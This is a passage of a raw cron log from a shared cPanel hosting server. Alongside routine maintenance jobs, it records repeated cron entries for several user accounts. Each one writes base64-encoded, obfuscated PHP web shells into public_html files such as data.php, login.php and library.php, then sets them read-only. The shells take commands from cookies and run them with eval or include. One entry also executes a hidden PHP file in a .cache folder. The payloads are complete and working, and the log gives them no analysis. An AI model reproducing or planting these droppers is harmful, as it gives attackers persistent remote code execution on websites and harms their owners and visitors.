feWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:40:01 medusa CROND[17639]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:40:01 medusa CROND[17637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:40:01 medusa CROND[17629]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 06:40:01 medusa CROND[17640]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 06:40:01 medusa CROND[17630]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 06:41:01 medusa CROND[19531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:41:01 medusa CROND[19542]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:41:01 medusa CROND[19543]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:41:01 medusa CROND[19545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:41:01 medusa CROND[19544]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:41:01 medusa CROND[19548]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:41:01 medusa CROND[19549]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:41:01 medusa CROND[19547]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:41:01 medusa CROND[19555]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:41:01 medusa CROND[19556]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:41:01 medusa CROND[19557]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:41:01 medusa CROND[19560]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:41:01 medusa CROND[19563]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:41:01 medusa CROND[19570]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:42:02 medusa CROND[21328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:42:02 medusa CROND[21329]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:42:02 medusa CROND[21330]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:42:02 medusa CROND[21331]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:42:02 medusa CROND[21333]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:42:02 medusa CROND[21334]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:42:02 medusa CROND[21344]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:42:02 medusa CROND[21346]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:42:02 medusa CROND[21347]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:42:02 medusa CROND[21349]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:42:02 medusa CROND[21350]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:42:02 medusa CROND[21343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:42:02 medusa CROND[21348]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:43:01 medusa CROND[23184]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:43:02 medusa CROND[23191]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:43:02 medusa CROND[23192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
